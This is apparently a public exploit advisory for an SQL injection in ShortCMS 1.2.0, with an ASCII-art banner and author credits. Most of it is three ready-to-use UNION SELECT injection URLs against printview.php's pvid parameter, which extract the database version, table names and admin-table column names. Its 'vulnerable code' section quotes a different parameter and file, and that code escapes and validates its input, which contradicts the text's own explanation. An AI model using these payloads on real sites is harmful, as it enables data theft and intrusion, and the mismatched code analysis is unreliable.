ShortCMS 1.2.0 – SQL Injection
#######################[ Informatique inside ]########################## #ShortCMS : SQL injection #Version : 1.2.0 (Last Version of 11/02/2010) and ALL < version. #Author : Thibow #Contact : Thibow[4t]linformatique-inside[dot]com #Location : France #Website : http://www.informatique-inside.com #Solution : Secure your parameters in printView page of News ######################################################################## . : :::III .:::IIIII .:IIIIIIIIII... :IIHIIIIIIIII:. :IIIIIIIIIII::: .:IIIIIIIIIIIII: :IIIIIIIIII:::MI. . ..:::IIIIIIIIIIII :IIIIIII::::MMH.: .::IIHMHIIIIIIIIIII: IIIIII::::MMM.M .: ....::IHHMIIIIIIIIIII.:IIII::::MMMIM .I: ...::IIIIHHIIIIIIIIIII:III:::::MMMM:.H: .:IIIIIIIIIIIIIHI::::::M.H.M II .:IIIIIIIIIIIMI:::::M. :M :M. .IIIIIIII::MI::::M: HM:M: .:IIII:::::MI:::M:..IMMHH. . .:I:I::::::::MI::M:. :MMMM: . .IMI..::::::::MI:H.:.:MMMHM. : :MMI. .:::::::MI.:::HMMMMHI : :MMI. :::::III I HMMMIMMM: :.:MMI. .IIII: I:.MMMM: MMM. .::MMI. II:.II:HMMMH. .MMM. I::II. II:.IMMMH:. IMMM: ..::II: III :IIMMH. HHHM: ::. .::. .::II..IIIIIMI. HHHM: II::.:II::: .IMMMIIIIMI. MMMMM: IIII:.:HMMMMMMMMIIIIMI. :MMMMM: .MIIIMMMMMMMH:. .IIIMH.. .MMMMMM: :MMMMMMI:.. IIIIH:.MMMHMMMI :HMMH. .MMMMMMMM:MMMI. .IMMMMMM::HMMM. .:IMMMM:. ############################################################################################################################################################################################################################### #=Sql Injection===============================================================================================================================================================================================================# # Exploit[MySql Version] # =>http://localhost/printview.php?func=news1&pvid=-55%20union%20all%20select%201,@@version,3,4,5,6,7,8-- # # Exploit[Table Name] # => http://localhost/printview.php?func=news1&pvid=-55%20union%20all%20select%201,group_concat%28table_name%29,3,4,5,6,7,8%20from%20information_schema.tables%20where%20table_schema=database%28%29-- # # Exploit[Column name] # => http://localhost/printview.php?func=news1&pvid=-55%20union%20all%20select%201,group_concat%28column_name%29,3,4,5,6,7,8%20from%20information_schema.columns%20where%20table_name=0x647363315f61646d696e5f616363657373-- # #=============================================================================================================================================================================================================================# #=Vulerable code===============================================================================================================================================================================================================# File: ./content/news2view.con.php Line: 50 to 56 $news2_ID = trim( $_GET['news2_ID'] ); $news2_ID = mysql_real_escape_string( $news2_ID ); if( is_it_number( $news2_ID ) == TRUE ) { $news2_ID = $news2_ID; } else { $news2_ID = 0; } => The parameter news2_ID was recover in just trim() function... #=============================================================================================================================================================================================================================# |